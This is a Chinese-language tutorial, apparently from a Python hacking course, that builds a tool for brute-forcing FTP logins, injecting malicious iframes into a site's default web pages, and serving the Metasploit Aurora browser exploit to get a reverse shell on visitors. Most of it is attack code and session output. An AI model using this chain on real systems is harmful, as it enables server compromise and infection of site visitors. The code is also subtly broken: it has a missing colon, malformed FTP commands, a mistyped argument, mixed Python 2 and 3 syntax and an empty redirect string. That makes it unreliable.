FTP暴力破解及恶意脚本注入

通过FTP连接WEB来渗透

检查受感染服务器的FTP日志。

一个自动的脚本连接到目标主机以确认它是否包含一个名为 index.htm 的默认主页。接下来攻击者上传了一个新的 index.htm 页面,可能包含恶意的重定向脚本。受感染的服务器渗透利用任何访问它页面的脆弱客户机。

可以利用 Python 的 ftplib 模块来构建一个小脚本,用来确认服务器是否允许匿名登录。函数 anonLogin()接受一个主机名反汇编一个布尔值来确认主机是否允许匿名登录。

为了确认这个布尔值,这个函数尝试用匿名认证生成一个 FTP 连接,如果成功,则返回“True”,产生异常则返回 “False”

用python构建匿名的FTP扫描器

# coding = UTF-8
import ftplib

def anonLogin(hostname):
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('anonymous','[email protected]')
        print('\n[*]'+str(hostname)+'FTP Anonymous Login Succeeded!')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-]'+str(hostname)+'FTP Anonymous Login Failed!')
        return False
    
host='192.168.95.179'
anonLogin(host)

利用ftplib暴力破解FTP用户认证

现在我们能扩展前面建立的 anonLogin()函数建立名为brutelogin()的函数。 这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密码尝试登陆 FTP服务器。如果成功,将返回用户名和密码的元组,如果失败有异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返回包含 None的元组。

# coding = UTF-8
import ftplib


def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print('[+]Trying:' + userName + '/' + passWord)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
            ftp.quit()
            return (userName, passWord)
        except Exception as e:
            pass

    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)


host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

在FTP服务器上寻找web页面

有了FTP访问权限,还要测试服务是否还提供了web访问,为了测试这个,首先要列出FTP的服务目录并寻找默认的web页面。

函数returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组,通过发送目录NLST列出目录内容。这个函数检查每个文件返回默认web页面文件名并将任何发现的默认web页面文件名添加到名为retList的列表上。完成迭代这些文件之后,函数将返回这个列表

def returnDefault(ftp):
    try:
        # 列出目录内容
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page:' + fileName)
            retList.append(fileName)
            return retList

host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)

添加恶意注入脚本到web页面

已找到web页面文件,必须用一个恶意的重定向感染它,为了快速的生成一个恶意的服务器和页面在http://10.10.10.112:8080/exploit 页面,将使用 Metasploit 框架。

选择 ms10_002_aurora 的 Exploit,同样的Exploit 被用在攻击 Google 的 极光行动中。与 http://10.10.10.112:8080/exploit 的页面将重定向到受害者,这将返回给我们一个反弹的 Shell。

attacker# msfcli exploit/windows/browser/ms10_002_aurora
 		LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
 PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 
 [*] Please wait while we load the module tree...
 <...SNIPPED...>
 LHOST => 10.10.10.112
 SRVHOST => 10.10.10.112
 URIPATH => /exploit
 PAYLOAD => windows/shell/reverse_tcp
 LHOST => 10.10.10.112
 LPORT => 443
 [*] Exploit running as background job.
 [*] Started reverse handler on 10.10.10.112:443
 [*] Using URL:http://10.10.10.112:8080/exploit
 [*] Server started.
 msf exploit(ms10_002_aurora) >

任何脆弱的客户机连接到我们的服务页面 http://10.10.10.112:8080/exploit 都将会落入我们的陷阱中。如果成功,它 将建立一个反向的 TCP Shell 并允许我们远程的在客户机上执行 Windows 命 令。从这个命令行 Shell 我们能在受感染的受害者主机上以管理员权限执行命令。

msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer
"Aurora"
 Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
 10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

接下来必须添加一个重定向从被感染的主机到我们的恶意的服务器,为此,我们可以从攻陷的服务器下载默认的web页面,注入一个iframe,然后上传恶意的页面到服务器上。

看看这个 injectPage()函数,它接受一个 FTP 连 接,一个页面名和一个重定向的 iframe 的字符串作为输入,然后下载页面作为 临时副本,接下来,添加重定向的 iframe 代码到临时文件中。最后,该函数上 传这个被感染的页面到服务器中。

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR' + page, f.write)
    print '[+]Downloaded Page:' + page
    f.write(redirect)
    f.close()
    print '[+]Injected Malicious IFrame on:' + page
    ftp.storlines('STOR' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page:' + page
    
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = ''
injectPage(ftp, 'index.html', redirect)

整合

整合所有的攻击到attack()函数中:

attack()函数接收一个主机名,用户名,密码和定位地址为输入。

首先利用用户凭证登录FTP服务器

接下来寻找默认页面,下载每一个页面并且添加恶意的重定向代码

然后上传修改后的页面到FTP服务器中

# coding = UTF-8
# massCompromise.py
import ftplib
import optparse
import time

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]')
        print('\n[*]' + str(hostname) + 'FTP Anonymous Login Succeeded.')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-]' + str(hostname) + 'FTP Anonymous Login Failed')
        return False
    
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print('[+]Trying:' + userName + '/' + passWord)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
            ftp.quit()
            return (userName, passWord)
        except Exception as e:
            pass

    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)

def returnDefault(ftp):
    try:
        # 列出目录内容
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page:' + fileName)
            retList.append(fileName)
    return retList

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR' + page, f.write)
    print('[+]Downloaded Page:' + page)
    f.write(redirect)
    f.close()
    print('[+]Injected Malicious IFrame on:' + page)
    ftp.storlines('STOR' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page:' + page)

def attack(username, password, tgtHost, redirect)
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

def main():
    parser = optparse.OptionParser('usage%prog -H < target host[s] > -r < redirect page > [-f < userpass file >]')
    parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = '[email protected]'
            print('[+]Using Anonymous Creds to attack')
            attack(username, password, tgtHost.redirect)
        elif passwdFile != None:
            (username, password) = bruteLogin(tgtHost, passwdFile)
        if password != None:
            print('[+] Using Creds:' + username + '/' + password + 'to attack')
            attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
    main()
//攻击一个脆弱的FTP服务器,尝试匿名登录失败,然后暴力破解获得用户名和密码,然后下载和注入代码到每一个基目录里的文件
attcker#python massCompromise.py -H 192.168.95.179 -r '' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Injected Malicious IFrame on: testmysql.php

确保我们的攻击在进行,然后等待客户机连接到我们受感染的WEB服务器上,10.10.10.107访问了服务器然后重定向到我们的恶意服务器上,可通过被感染的FTP服务器得到一个受害者主机的命令行Shell。

attacker# msfcli exploit/windows/browser/ms10_002_aurora
 LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
 PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112
LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client
 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
 10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

你可能感兴趣的:(web)